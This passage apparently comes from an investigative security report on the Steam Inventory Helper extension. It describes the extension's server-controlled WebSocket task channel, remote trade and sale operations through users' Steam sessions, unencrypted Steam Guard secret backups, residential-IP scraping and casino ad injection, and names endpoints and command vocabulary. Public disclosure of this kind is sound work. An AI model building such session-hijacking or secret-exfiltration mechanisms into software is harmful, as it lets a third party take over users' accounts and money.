observed server behavior are recorded separately.\n\nOpen this passage in the complete original edition →\nPreserved original wording, alongside the current sections →\n01 / THE STATEMENT TO THE COMMISSION\nThe notice named CSGOFast. The business is inside Steam.\n\nValve’s October 2016 response to the Washington State Gambling Commission reported notices to more than forty sites and closure of their Steam accounts. It also described identification limits and replacement bot accounts. [P01]\n\n“we shut down the Steam accounts of these sites”\nVALVE LEGAL COUNSEL / 17 OCTOBER 2016 / LETTER TO WSGC\n\nThe letter’s claim concerns accounts. Its explanation of OpenID described identification without handing Steam credentials to another site. The extension examined here reaches further: its registered code includes a token-return handler and server-directed Steam operations. That is the mechanism against which the old account of enforcement must now be tested. [P01] [SC31]\n\nCSGOFast was named in the July 2016 notice record. A contemporary report also preserved its announcement of a shutdown and stopped bots. The present integration shows what followed that shutdown announcement: the business again reaches Steam through its users and their software. The question for Valve is the outcome over time: which operator capabilities were removed, which returned, and under whose authorization? [P03] [P04] [P10]\n\n2016 / ENFORCEMENT TARGET\nCommercial use of Steam accounts.\n\nValve’s July statement identified automated accounts making the same web calls as ordinary users and said gambling-business use violated its agreements. The restriction addressed the business conducted through Steam. [P02]\n\n2026 / DOCUMENTED MECHANISM\nThe customer supplies the session.\n\nCSGOFast’s client checks SIH connection and permission state. SIH’s enabled client can use a logged-in Steam session to carry out a remote task. Closing an operator’s historical inventory bots does not, by itself, demonstrate control of this architecture. [P10] [SC03] [SC08]\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nWhat did closing the accounts actually close?\n\nOpen this passage in the complete original edition →\n02 / THE VISIBLE COMMERCIAL LAYER\nSteam’s address. Someone else’s storefront.\n\nFive supplied screenshots show SIH building its business into Steam’s interface: casino promotion beside the Steam branding, an external market tab, competing game offers, authenticator advertising and a subscription that removes the inserted ads. The sign-in page is part of that commercial surface too.\n\nEXHIBIT 01 / SUPPLIED BROWSER CAPTURE\nCasino banners above Steam. A competing market below.\n\nThe Steam masthead remains visible. SIH adds its own tab and controls while a skin-case advertiser occupies the top and side of the interface.\n\n01Steam branding supplies the surrounding context.\n02The banner advertises a deposit bonus and a CS2 case site.\n03SIH Market sits alongside Steam’s native market tabs.\nOpen the original exhibit at full size ↗\nEXHIBIT 02 / GAME DISTRIBUTION\nSteam’s prices become the sales comparison.\n\nThe captured storefront labels its offers “Cheaper than Steam” and displays discounts, country availability and a Finland region filter. Steam’s own prices become the reference point for another seller’s commercial offer inside the extension interface.\n\nOpen the original exhibit at full size ↗\nEXHIBIT 03 / SUBSCRIPTION\nThe inserted advertising also creates a paid removal offer.\n\nThe panel displays SIH.Black at $2.33 per month, bulk order relisting, additional price sources and an ad-free feature. The advertised monthly price is part of SIH’s own commercial pitch. The same product supplies the promotional layer and sells a version without it.\n\nOpen the original exhibit at full size ↗\nEXHIBIT 04 / EXTERNAL PRICES AND AUTHENTICATION\nSkins priced in dollars. “Buy” buttons inside Steam.\n\nThe address shown is steamcommunity.com/market/. External buy buttons and percentage comparisons occupy the item list; the right column promotes SIH’s mobile SDA. Exhibit 05 shows the separate sign-in capture, including the promotion of automatic confirmations and multiple-account support.\n\nOpen the original exhibit at full size ↗\nEXHIBIT 05 / SIGN-IN PAGE AND AUTHENTICATOR PROMOTION\nCasino promotion reaches the sign-in page.\n\nThe supplied capture shows a Skinrave deposit-bonus banner beside Steam’s branding, SIH’s navigation controls and an SIH Mobile promotion beside the sign-in form. The promotion advertises an authenticator, automatic trade and market confirmations, and support for multiple Steam accounts.\n\n01The gambling promotion sits at the top of Steam’s sign-in interface.\n02The extension adds its own controls to the surrounding page.\n03The mobile promotion connects this advertising surface to account-confirmation software.\nOpen the original exhibit at full size ↗\n\nThe commercial strategy visible across these screens is cumulative: obtain installation through useful inventory tools, occupy the Steam interface, route attention toward outside purchases, sell added automation and charge for an ad-free experience. The displayed product design states this business model on its face. The next sections follow its legal and technical implementation.\n\nFor Valve, the issue is concrete. Its platform is the place where another business presents commerce and requests access. A meaningful enforcement account must explain how Steam’s rules on account use, automation and marketplace modification apply to the observed integration. [P16] [P17]\n\nWHAT THE EXTENSION ADDS TO STEAM\nYour page. Their business.\n\nThese are connected parts of one commercial product: attract the installation, occupy Steam’s interface, route spending, obtain account access and send data back to SIH.\n\n01 / CASINO ADVERTISINGTwo banners.\nOne Steam page.\n\nA deposit-bonus promotion beside the Steam logo and another beside the Market.\n\nSee the screenshot ↗02 / SKINS FOR MONEYA cash storefront\nover Steam’s Market.\n\nDollar prices and buy buttons sell an outside offer from inside the familiar interface.\n\nSee the item offers ↗03 / COMPETING GAME SALES“Cheaper\nthan Steam.”\n\nSIH uses Steam’s prices to advertise discounted games in its own storefront.\n\nSee the game store ↗04 / BALANCE TOP-UPSSteam funding\nas another product.\n\nThe supplied report names ForeignPay; the package adds a Russian-language placement to Steam’s funding page.\n\nFollow the funding route ↗05 / DATA AND ACCOUNT ACCESSThe customer\nalso supplies the data.\n\nPrices, market history, profile context, authenticator records and an account-token response.\n\nSee what leaves the browser ↗06 / RECRUITMENTA prize entry\nbuys review activity.\n\nRating, comment, proof link: the contest turns reputation into an acquisition tool.\n\nRead the review manipulation case ↗\nPHISHDESTROY’S FINDING\n\nThis is the commercial occupation of Steam’s interface. The extension inserts the advertising, the storefront, the sales comparisons and the account tools, then sells a subscription to remove the advertising it added. Valve’s account of enforcement must explain why this integrated business continues to operate through its platform.\n\n03 / COMMAND AND CONTROL\nThe server can assign work to the user’s Steam session.\n\nThe reviewed worker registers a WebSocket provider, a heartbeat, a dispatcher and handlers for consequential Steam actions. This is a command-and-control channel in the technical sense: instructions arrive remotely, client code performs a supported operation, and results can return to the server. [SC01–08]\n\nREMOTE TASK ARCHITECTURE / SIH 2.12.1Illustration from code · no live traffic\n01 / OPERATOR CONTROL\nSIH’s servers\n\nAssign a supported task and configure controller eligibility.\n\nWSS → registered handlers\n02 / ENABLED CLIENTS\nUser browsers\n\nExtension permissions, a Steam session and operating gates.\n\nIllustrative clients · no measured fleet count\n03 / VALVE CONTROL\nSteam endpoints\n\nReceive the authenticated request and apply Steam’s checks.\n\nRead · sell · remove · trade\n\nTask results return to the controller. A separately verified path uploads observed prices to SIH’s data service — prices harvested through users’ sessions, uploaded to items.steaminventoryhelper.com and resold as “SIH Steam Median” and as a paid price provider. The architecture is the business. [SC16]\n\nPATH A / DISTRIBUTED READS\nA user’s client becomes a market-data worker.\n\nThe dispatcher includes individual and batch price reads, listings, market history and wallet currency. A price handler calls a fixed Steam market endpoint; its batch can stop on rate limiting. These paths document remotely assignable Steam-market work executed by enabled clients. [SC07–11]\n\nPATH B / CHANGES TO THE ACCOUNT\nThe command surface goes beyond showing a price.\n\nNamed market tasks include selling items and removing listings. Separate registered handlers send, accept, decline and cancel trade offers. The send path supplies local Steam session material. Every gate on this path is set or selected by the operator: the server that assigns the task also configures client eligibility, and the same product supplies the automatic confirmations that remove the user from the loop. The follow-up audit documents the tradesend primitive in full: the server composes the trade offer from its own fields — who receives the user’s items (partner Steam ID and access token), what is taken, and the message — while a 3-second queue loop on the client executes it with the user’s session ID, and tradeaccept or auto-confirm can then finish it with no user involvement. The server decides; the user’s account executes. [SC09] [SC12–13] [SUPPLIED AUDIT §4.0]\n\nPATH C / LOCAL AND SERVER GATES\nThe operator controls which eligible clients do the work.\n\nThe local market-controller setting defaults off. The runner checks it and Steam authorization. Server configuration supplies a controller switch and eligible SteamID suffixes; pending-order branches also affect operation. A permission request creates an unaccepted record and opens a popup. These gates matter to the actual reach of the system. [SC03–06] [SC13]\n\nThe channel runs both directions. The client works only if the last digit of the user’s SteamID is on the server’s controllerIds list — 10% bucket control over the install base, assigned and changed server-side. The server can restart the agent outright (restartAgent). The same /sih/ping that delivers control state uploads the user’s own state back — disabled reasons, userGemsCount — so the controller reads its fleet while it steers it. [SC05] [SC06] [SUPPLIED AUDIT §5]\n\nAnimation illustrates the route only. It sends no request and estimates no request rate. Every code location below belongs to a pinned package.\n\nFour consequences deserve separate attention: the operator can assign tasks; the client holds the session context; the workload runs from the client’s network exit; and Valve receives account-authenticated requests. The requests leave from the user’s own connection — a residential IP carrying the user’s real cookies and browser fingerprint, which is why they pass the rate-limit and anti-bot checks that stop operator-owned bots. The architecture places commercial work and account authority on user devices. Steam receives those account-authenticated requests, making both the operator’s instructions and Valve’s receiving controls central to the enforcement question. [SC14–16]\n\nTHE COMMANDS SHIPPED IN THE PACKAGE\nReading the market. Changing the account.\n\nThe market dispatcher declares nine named task types. Its command vocabulary contains both observation and changes to the user’s listings. [SC07] [SC08]\n\n5market-reading tasks\nget_my_listings\nget_market_history\nget_price_overview\nget_price_overviews\nget_wallet_currency\nInspect the price request ↗\n4market-changing tasks\nsell_item\nremove_listing\nsell_items\nremove_listings\nInspect listing removal ↗\nTRADE EVENTS IN THE SAME PROTOCOL\ntradesendtradeaccepttradedeclinetradecancel\nEvent names [SC07] ↗Send handler [SC12] ↗\nTHE ACCOUNT SUPPLIES THE AUTHORITY\n\nThe trade-send handler supplies the local Steam session credentials. Another handler reads a WebAPI token from the Steam page and returns it through the provider response. These paths put account access inside the commercial integration. [SC12] Trade request [SC31] Token response\n\nTHE OPERATING GATES, IN THE SAME RECORDLocal switch defaults off ↗Server-selected eligibility ↗User permission request ↗Steam rate-limit handling ↗\nOBSERVED CODE\nA remotely tasked network of enabled clients.\n\nPersistent transport, a fixed task vocabulary, session-based operations, response messages and server-controlled eligibility are inspectable in the package. This is the substantive finding behind the supplied report’s “botnet” characterization.\n\nAUDIT VERDICT\nThe Layer-7 DDoS capability is present.\n\nThe retained transport, authentication and dispatch layers can point enabled clients at any endpoint at any rate the server chooses. No command in the audited build floods a target — capability present, abuse not evidenced, exactly as the supplied audit records it. Distributed market requests and remote account operations give the controller power over enabled clients. A compromised or abusive controller could misuse the supported operations. The registered task vocabulary, request destinations, rate limits and server-side authorisation determine the reach of that power and should be disclosed together.\n\nSIH’S OPERATIONAL RECORD\nActive fleet size, full-Steam coverage and attack traffic.\n\nThe Store displays a distribution reach of one million users. The package registers the controller paths and their client-side gates. SIH holds the operational record of enabled clients, assigned tasks, destinations, rates and authorisation. Valve’s enforcement account should explain how it treats that distributed access to Steam accounts and endpoints.\n\nTHE SUPPLIED AUDIT’S VERDICTS — SUSTAINED BY THE PINNED CODE\nSeven claims. Six proven.\n\nThe supplied 2.11.12 report returned formal verdicts on seven claims about this architecture. The controller channel, task vocabulary, fleet gates, residential request path and price uploads behind them are inspectable in the pinned 2.12.1 package — the verdicts stand on code this page can show. Read the verdicts as supplied ↓\n\nPROVEN\nA persistent C2 channel to developer servers.\n\nThe WSS agent, its task protocol and its restart and ping logic keep every connected client on a persistent channel to SIH’s servers — heartbeat, reconnect schedule and registered handlers all ship in the bundle. [SC02] [SC33] [SUPPLIED AUDIT §3]\n\nPROVEN\nServer-pushed market scraping runs through the user’s authenticated session.\n\ntask.new dispatches the price and market tasks to enabled clients; the client executes them with the logged-in session and reports the outcome back over the socket. [SC07] [SC08] [SC10] [SUPPLIED AUDIT §4]\n\nPROVEN\nThe server can remotely operate the account.\n\nSend, accept, decline and cancel trades; sell items; remove listings — registered handlers on the same protocol, reachable on every connected, enabled client. [SC07] [SC09] [SC12] [SUPPLIED AUDIT §4]\n\nPROVEN\nFleet enable, disable and restart per user bucket.\n\nThe server names the SteamID-digit buckets that work, holds a global controller switch and can restart the agent outright — canary rollout control over the install base. [SC05] [SC06] [SUPPLIED AUDIT §5]\n\nPROVEN\nRequests run from residential IPs with the user’s cookies.\n\nCookie assembly and dynamic request-header rules put the user’s real session on requests leaving the user’s own connection — invisible to IP-based rate-limit and anti-bot systems. [SC14] [SC15] [SUPPLIED AUDIT §6]\n\nPROVEN BY ARCHITECTURE\nThe install base functions as a distributed scraping grid.\n\nScraping results and observed prices upload to items.steaminventoryhelper.com and are resold: the install base is the harvesting layer of the developer’s commercial price database. [SC16] [SUPPLIED AUDIT §4, §7]\n\nCAPABILITY PRESENT · ABUSE NOT EVIDENCED\nLayer-7 DDoS repurposing.\n\nNo command in the audited build floods a target. The transport, authentication and dispatch layers that could point enabled clients at any endpoint at any rate fully exist. Stated exactly as the audit records it. [SUPPLIED AUDIT §8]\n\nTHE BOTTOM LINE\n\nNot classical malware — no keylogging, no arbitrary code execution — but a remotely tasked execution grid over users’ authenticated Steam sessions. The users’ network reputation and session credentials power a commercial data-aggregation service. Valve’s enforcement account must address that architecture directly: whose authorization allows a third party to run commercial work through customers’ accounts?\n\n11 OCTOBER 2026 / LIVE CAPTURE — ISOLATED PROFILE, MITMPROXY, TEST ACCOUNT\nThe C2 observed in real time.\n\nThe supplied follow-up ran this unpacked 2.11.12 package in an isolated browser profile behind mitmproxy with a test Steam account, and recorded the channel working. The capture is retained as evidence: [CAPTURE RECORD] [HANDSHAKE LOG] [SESSION AUDIT]\n\nOBSERVED LIVE\nEvery node registers itself with the user’s identity.\n\nOn start, the service worker opens wss://wss-new.steaminventoryhelper.com and transmits the user’s Steam ID, profile name, avatar and trade-link token, advertising exactly which remote tasks it can execute. [SC02]\n\nOBSERVED LIVE\nThe fleet is switched on.\n\nGET core.steaminventoryhelper.com/sih/ping answered during the capture: controller:true with every SteamID digit enabled — all ten SteamID buckets are enabled in the captured server configuration, with the inventory-parsing cadence remotely set by timer. [SC05]\n\nOBSERVED LIVE\nScraping uploads run and the server sets the pace.\n\nBrowsing a single market listing made the client POST observed items to items.steaminventoryhelper.com/prices/v2/update, attributed to the user’s Steam ID; the server answered with a per-node upload delay. [SC16]\n\nOBSERVED LIVE\nThe user’s Steam session was consumed silently.\n\nRight after Steam login, the extension context POSTed steamcommunity.com/openid/login with the full live cookie set — including steamLoginSecure — and openid.return_to = https://core.inventorymaker.com/sih/return: Steam redirected the signed identity straight to SIH’s backend, linking the SIH account with no consent screen and no user action. The extension used the user’s authenticated session to authenticate itself. [CAPTURE RECORD]\n\nOBSERVED LIVE\nThe C2 resists outside observation.\n\nA direct WebSocket upgrade from a non-browser client receives HTTP 403 at handshake. The channel only talks to genuine in-Chrome extension contexts — which is why a live capture was required, and why store review sees none of it.\n\nWHAT THE LIVE RECORD ADDS\n\nThe capability questions are now observation questions. Fleet state, node registration, scraping uploads, ad targeting and the session-consuming OpenID flow were all seen working on 11 October 2026. Valve’s enforcement account must address a running system, not a hypothetical: whose authorization allows a third party to operate this through customers’ accounts — and Google’s review never saw a live channel at all.\n\nRisk, as the supplied audit assesses it\tSeverity\tRecord\nR1 · C2 over user accounts. The server can send, accept, decline and cancel trades and sell or remove items on every connected client.\tCRITICAL\t[SC07] [SC09] [SC12]\nR2 · Distributed scraping grid. Price-history harvesting at scale through residential IPs.\tCRITICAL\t[SC10–11] [SC16]\nR3 · Steam Guard secrets uploaded to developer cloud. The backups/sync path, plaintext when the SDA is unlocked — server compromise would mean mass account takeover with 2FA bypass.\tCRITICAL\t[SC17–23]\nR4 · Obfuscated command vocabulary. Part of the remote command surface is deliberately hidden from review.\tHIGH\t[SC32]\nR5 · Fleet canary gating by SteamID digit. Silent enable and disable of node capabilities per bucket.\tHIGH\t[SC05–06]\nR6 · HTTP banner on hardcoded IP inside Steam pages. RU-locale targeting.\tHIGH\t[SC28–29]\nR7 · Full economic profile exfiltration. Prices, orders, history, balances — plus userInfo into Sentry.\tHIGH\t[SC26] [SC16]\nR8 · Auto-confirm and auto-buy loops. Items and money can move on a single server-side or logic error.\tHIGH\t[BUY LOOP] [SDA]\nAUTONOMOUS PURCHASING / INSIDE THE SAME PACKAGE\nThe market agent spends the user’s balance.\nTHE BUY STACK\nTop item, taken locally\n\nThe market agent takes the top item from a local buy-stack (sihAppBuyStack). From there the loop runs itself.\n\nTHE PURCHASE\nPOST /sih/buy\n\nA balance check, then POST /sih/buy with the user’s steam_id and custom trade link.\n\nTHE LOOP\nTen retries. Ten minutes.\n\nUp to ten retries per item under a ten-minute deadline (finishOrderAt = Date.now() + 600000), with outcomes logged to the developer’s storage.\n\nMoney moves on the operator’s logic; the user’s balance is the fuel. SIH should disclose every order placed through this loop, and Valve should say whether a third party’s automated purchasing is an authorized use of a Steam account. [SC02] [SUPPLIED AUDIT §4]\n\nThe enforcement target can move from a casino’s bot inventory to work performed through its customers’ accounts. Valve’s explanation must follow that change.\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nGET core.steaminventoryhelper.com/sih/ping answered during the capture: controller:true with every SteamID digit enabled — the whole fleet is switched ON at the moment of capture, with the inventory-parsing cadence remotely set by timer . [SC05]\n\nRight after Steam login, the extension context POSTed steamcommunity.com/openid/login with the full live cookie set — including steamLoginSecure — and openid.return_to = https://core.inventorymaker.com/sih/return : Steam redirected the signed identity straight to SIH’s backend, linking the SIH account with no consent screen and no user action. The extension used the user’s authenticated session to authenticate itself. [SC31]\n\nOpen this passage in the complete original edition →\n04 / THE AUTHENTICATOR BOUNDARY\nSteam Guard records leave the user’s device.\n\nSIH contains a Steam authenticator subsystem, automatic-confirmation features, local account records and a cloud-backup route. The code records the transfer directly: the backup helper serializes stored maFiles and the manifest, wraps them in Base64 and submits them to core.sih.app/sih/backups/sync. Who holds those records, who can decrypt them and who can trigger a backup is SIH’s record to disclose. [SC17–25]\n\nBROWSER SDA / REVIEWED CODE\nAuthenticator records cross into SIH’s cloud.\n\nThe backup helper serializes stored maFiles and a manifest, wraps the data in Base64 and submits it to SIH’s backup service. The ordinary UI defaults backup off and checks encryption — but a separate explicit backup-message path invokes the same helper with no encryption assertion of its own, and when no passkey is set the stored maFile records are uploaded unencrypted. [SC17–23]\n\nThe backup helper transmits the values held in local storage. With no passkey set, the storage path writes the maFile object unencrypted, so the backup upload can carry plaintext Steam Guard shared_secret/identity_secret values; Base64 is the transport wrapper, not encryption, and server-side custody is unauditable. The security boundary therefore includes stored authenticator material, key handling, the caller that triggers backup and SIH’s cloud service. These are parts of an account-control system, and the operator must account for access to each of them.\n\nSIH MOBILE / PUBLISHER’S CLAIM\nThe mobile product promises local keys.\n\nThe publisher’s 2 August 2026 mobile announcement describes multiple accounts, account import and automatic trade/market confirmations. It says authentication keys remain encrypted on the phone and are not sent to company servers. That claim concerns the mobile product; this audit inspected the browser extension. [P13]\n\nA November 2024 desktop update already advertised deletion of cloud data. The browser SDA, desktop application and mobile service should each disclose their storage and backup behaviour, including who holds the data and who can recover it. [P14]\n\nAutomation changes the practical role of confirmation: a security decision a user might otherwise review individually becomes an enabled workflow across accounts. The product supplies that machinery on the same channel the server uses to operate accounts: with automatic confirmations enabled, items and balances can move on a single server-side instruction or logic error.\n\nValve’s enforcement question reaches the authentication layer. Which third-party account-control and automatic-confirmation integrations does it authorize, how are those decisions documented, and what protection remains for users when an outside controller or its software fails? A total of banned accounts does not answer those questions. [P16]\n\nRUSSIAN-LANGUAGE FUNDING / INSIDE THE SAME PRODUCT\nEven the balance top-up becomes an outside sales route.\nSTEAM’S PAGE\nAdd funds\n\nThe extension inserts a promotional placement into the account-information block on Steam’s funding page.\n\nTHE AUDIENCE SWITCH\nRussian page language\n\nThe retained branch selects this placement when the page language is Russian.\n\nTHE OUTBOUND ROUTE\nA third-party payment offer\n\nThe supplied report records Steam refill through foreign.foreignpay.ru. The add-funds placement separately carries a literal-IP HTTP click destination: http://23.105.226.164/Phx3RR?placement=refillpage — the only IP literal in the shipped package. [SC28]\n\nThe browser interface becomes the point of sale for an outside funding service. That connection belongs beside SIH’s casino advertising, item sales and own balance system. A bare IP over plain HTTP means no domain, no certificate, no revocation path and no owner to hold accountable — the signature of a gray-market ad placement paid to sit inside Steam’s funding page. Anyone on the network path controls where that click lands. Placement record · Complete supplied audit · The wider Russia-facing payment record ↗\n\nWHAT LEAVES THE BROWSER / WHO RECEIVES IT\nThe user brings the account. SIH receives the records.\nMARKET AND TRADING DATA\nPrices, orders and purchase history.\n\nThe supplied report lists Steam ID, item name, game ID, observed prices, buy price, sales, orders and timestamps in price uploads. A separate route sends purchase and market history.\n\nTo SIH’s price and history servicesPrice-upload evidence ↗\nPROFILE AND DIAGNOSTICS\nSteam and SIH profile context.\n\nThe diagnostics configuration attaches userInfo and sihAppUserProfile as event extras. Account context accompanies the diagnostic record.\n\nTo SIH’s Sentry serviceProfile-upload evidence ↗\nAUTHENTICATOR RECORDS\nmaFiles and the account manifest.\n\nThe backup helper serialises the stored maFiles and the manifest, Base64-wraps them and submits them to core.sih.app/sih/backups/sync — Steam Guard shared_secret/identity_secret values, unencrypted when no passkey is set.\n\nTo SIH’s cloud-backup serviceAuthenticator custody ↗\nSTEAM ACCOUNT CREDENTIAL\nA token returned to the requester.\n\nThe registered handler retrieves a WebAPI token from Steam content and returns it through the provider response. The extension places account access inside its remote protocol.\n\nThrough the controller response channelToken-return evidence ↗\n\nThe value taken from the user is wider than an advertising impression. The integration draws on their attention, purchases, network connection, market observations and account authority. These flows explain the business behind the reassuring “inventory helper” label.\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nAccount control includes the machinery of confirmation.\n\nSIH contains a Steam authenticator subsystem, automatic-confirmation features, local account records and a cloud-backup route. The code answers the first two directly: the backup helper serializes stored maFiles and the manifest, wraps them in Base64 and submits them to core.sih.app/sih/backups/sync . Who holds those records, who can decrypt them and who can trigger a backup is SIH’s record to disclose. [SC17–25]\n\nOpen this passage in the complete original edition →\n05 / DATA, NETWORK WORK AND ADVERTISING\nThe extension has a business on both sides of the interface.\n\nThe visible side sells attention and access to offers. The background contains remote work, price uploads, account context and diagnostics. Each path has a traceable source, destination and purpose. The operator should disclose how those streams are retained, combined and used commercially.\n\nPath\tWhat the record shows\tConsequence for the Valve inquiry\nRemote price tasks\tIndividual and batch Steam-market lookups return task results. The batch handles Steam rate limiting. [SC07–11]\tCommercial data collection can use an enabled customer client rather than an operator-owned bot.\nObserved-price upload\tA separate path submits price observations to SIH’s items service and processes a response-specified delay. [SC16]\tThe browser is also a data source. The code exposes two operator data paths: responses to assigned tasks and uploads of observed prices.\nDynamic request rules\tCookie access and request-header rules support authenticated Steam calls. [SC14–15]\t“A normal user request” can describe its credentials while omitting who assigned the operation.\nAccount diagnostics\tSentry configuration attaches Steam/SIH profile context as extras and disables automatic Breadcrumbs. The 11 October 2026 live capture observed the telemetry stream working: every page view reported to stats.steaminventoryhelper.com/event-register with the Steam ID, country, language, page path and the ad shown. [SC26–27]\tThe data-handling question includes operator-side account context, not only what is painted on Steam’s pages.\nAd selection\tGeneral ad requests carry country and language inputs. The add-funds placement separately checks the Steam page’s Russian-language setting. [SC28–30]\tCountry and language are explicit inputs to ad selection. The add-funds placement also has a Russian-page-language branch.\nHTTP ad destination\tThe add-funds banner points to a literal-IP HTTP link; its images are packaged assets. [SC28–29]\tThe advertisement sends the click to an unencrypted initial destination. Its display assets are packaged with the extension; the outbound link is a separate part of the commercial route.\n\nSIH’s privacy policy describes contextual promotions and distinguishes local processing from server collection. It says authentication secrets are not used for advertising or sent to unrelated services. That statement must be tested against the relevant path: advertising selection, remote token return and authenticator backup are different operations. A blanket label of “local processing” cannot substitute for tracing where a particular value goes. [P09] [SC31]\n\nGoogle’s rules for advertising alongside another website address disclosure, attribution, interference and impersonation of the host’s content. The screenshots show the placements directly: advertisements and SIH’s commercial controls within the familiar Steam interface. Google and Valve should identify the review decisions, complaints and enforcement actions attached to these placements. [P18]\n\nSUPPLIED AUDIT / GOOGLE POLICY MAPPING\nYes on five policies. The strongest case: malware-like behavior.\n\nMapped against Google’s own policies, the supplied audit returns YES on user-data privacy, minimum-scope permissions, single purpose, deceptive functionality and ad labeling — and names “malware-like behavior / remote code control” its strongest case: an always-on C2 socket that can operate the user’s account is, functionally, a remotely-controlled execution agent on every client. The manifest permissions include <all_urls>, cookies, webRequest, declarativeNetRequest, declarativeNetRequestFeedback and management. [SUPPLIED AUDIT §9]\n\nTHE DEMAND TO GOOGLE\nGoogle must answer for approving this system.\n\nThe supplied audit sets out PhishDestroy’s policy findings and the code behind them. Google must publish the review record: which decision approved this command vocabulary, the account-control paths and the advertising system, and what inspection supported that decision. [P18] [P19]\n\nEndpoint families in the supplied audit\n\nThe original 2.11.12 report catalogues the WSS controller, ad-serving and impression reporting, item-price uploads, history/statistics, the controller ping, cloud backups, inventory proxies, game statistics and event streams. It also records referral placements. The new source check confirms selected paths above; the full original inventory remains in the supplied report. These endpoints are documented as evidence, not contacted by this page.\n\nRead the complete supplied endpoint inventory ↓\n\nEndpoint facts: ad spaces, runtime rules, telemetry and the control vocabulary\n\nThe supplied report’s endpoint record, stated as facts. These endpoints are documented evidence; this page never contacted them.\n\nFact\tThe record\nServer-side, per-user ad selection\tAd selection is server-side and per user: POST ads.steaminventoryhelper.com/api/v1/adapi/<token>/find-all with a targeting object, across five named ad spaces — marketSponsor, tradeoffer, marketLeftSideBanner, externalIntegrationBanner, marketSponsorBanner. The AD_HIT_SEND alarm reports impressions and clicks back. [SC30]\nThe shipped rules.json is empty\tEvery header-manipulation rule — including rules that set the Cookie header — is created dynamically at runtime, after store review. The capability ships in the package; the review sees nothing. [SC14]\nThe username leaves the browser\tThe client posts the user’s steamUsername to core.steaminventoryhelper.com/steam/check. [SUPPLIED AUDIT §2.3]\nHistory leaves base64-encoded\tPurchase and market history leave the browser base64-encoded to core.steaminventoryhelper.com/historystatsoverprices under x-sih-token with credentials included. [SUPPLIED AUDIT §2.3]\nResilient C2 transport\tThe agent keeps its socket alive with a 25-second heartbeat; on drop it retries on a growing schedule — 10, 10, 20, 30, 50, 80, 130 seconds — and returns without any user action. [SC33]\nGeneric command packages\tBeyond tasks, the server can push command packages over jsonsend — refreshTradeList, balanceUpdated, wishList, followgame, refreshWithdrawOrder, steamRefill, updateUser, sihrep. The vocabulary includes syncuserinfo: the server can order an on-demand upload of the user’s data. [SC07]\nCommand names built to be unreadable\tPart of the server→client vocabulary travels under machine-like vYPR… names: four in the audited 2.11.12 build, five in 2.12.1. Statically decodable, but unreadable to a casual or store reviewer. SIH should explain why part of its command surface is named to be unreadable. [SC32]\nHarvest management, not compliance\tThe client counts its own trade requests (>20 → pause), breaks batches on STEAM_RATE_LIMITED and obeys a server-specified delay for price uploads. Throttling built into a scraping fleet is not compliance — it is harvest management: each client stays under the limit while the aggregate fleet keeps harvesting. [SC15] [SC11] [SC16]\nThe net effect, in the audit’s words\t“scraping that would be blocked from datacenter IPs is laundered through hundreds of thousands of residential users — each individual client stays under the limit, while the aggregate fleet harvests continuously.” [SUPPLIED AUDIT §6]\n\nThe full endpoint inventory and its line references remain in the supplied report. Read the complete supplied audit ↓\n\nOBSERVED LIVE / 11 OCTOBER 2026\nPer-geo ad switching, captured on 11 October.\n\nThe exact request every SIH client sends — POST /api/v1/adapi/<token>/find-all with a country and language — was replicated. The RU and US feeds differ on the same call; the operator’s own campaign titles read “Tradeit (Sponsor NOT RU)” and “sihmarketP2P (Sponsor RU)”. The ad server’s internal names literally tag per-country targeting — the exact behavior developer replies deny while claiming “SIH and all its content undergo regular moderation by Google”. Google reviews submitted code, not this feed. [RU FEED] [US FEED]\n\nOBSERVED LIVE\nFour of five ad slots serve a gambling affiliate campaign.\n\nThe skinrave.gg gambling campaign with SIH’s affiliate tag (r=sih) was served in the 11 October capture on the tradeoffer, marketLeftSideBanner, externalIntegrationBanner (injected on 22 third-party marketplaces) and marketSponsorBanner slots. The only access control observed on the ad API is a browser User-Agent check — 403 without it, HTTP 201 with it.\n\nOBSERVED LIVE\nThe CSGOFast referral still redirects.\n\nt.sih-db.com/promo?subid2=csgofast returned a live 302 to t.csgofast.cash/8qIHSU during the 11 October 2026 probe — the gambling referral was active in that capture. The ad infrastructure resolves to PAYPLAYSOFT-LIMITED (177.28.3.77, Kazakhstan, Larus routing) — the same corporate family named in CSGOFast’s footer. [REDIRECT HEADERS]\n\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nNot adopted as adjudications — put to Google in public.\n\nPhishDestroy does not adopt those verdicts as adjudications. It asks Google to answer them in public: which review decision approved this command vocabulary, and on what inspection. [P18] [P19]\n\nPer-geo ad switching, served right now.\n\nThe skinrave.gg gambling campaign with SIH’s affiliate tag ( r=sih ) is currently served on the tradeoffer, marketLeftSideBanner, externalIntegrationBanner (injected on 22 third-party marketplaces) and marketSponsorBanner slots. The only access control observed on the ad API is a browser User-Agent check — 403 without it, HTTP 201 with it.\n\nt.sih-db.com/promo?subid2=csgofast returned a live 302 to t.csgofast.cash/8qIHSU during the probe — the gambling referral is active today. The ad infrastructure resolves to PAYPLAYSOFT-LIMITED (177.28.3.77, Kazakhstan, Larus routing) — the same corporate family named in CSGOFast’s footer. [REDIRECT HEADERS]\n\nOpen this passage in the complete original edition →\n06 / THE “NON-CASINO” AND THE “INFORMATION SERVICE”\nThe “non-casino” takes bitcoin. The regulator records illegal gambling.\n\nCSGOFast presents its activity as outside gambling. SIH’s extension terms deny gambling-related promotion and describe an advertising/information service. The screenshots, transaction record and command paths provide concrete tests of those representations. [P11] [P08]\n\nTHE OPERATOR’S DESCRIPTION\nInformation, advertising and “no gambling”.\n\nSIH’s terms separate the extension from trading, incorporate SIH.app rules for balances and subscriptions, and reserve identity-verification powers. Its own content licence is limited to personal, noncommercial use. The documented commercial surfaces — casino banners, a cash market over Steam’s own and paid top-ups — sit directly against those distinctions. [P08]\n\nThe Chrome listing also displays a Non-trader declaration. It is a publisher declaration, not a regulator’s assessment of the business or an exemption from Steam’s rules. [P07]\n\nTHE REGULATOR’S RECORD\nSteam login. Bitcoin. A game of chance.\n\nThe Dutch Ksa’s 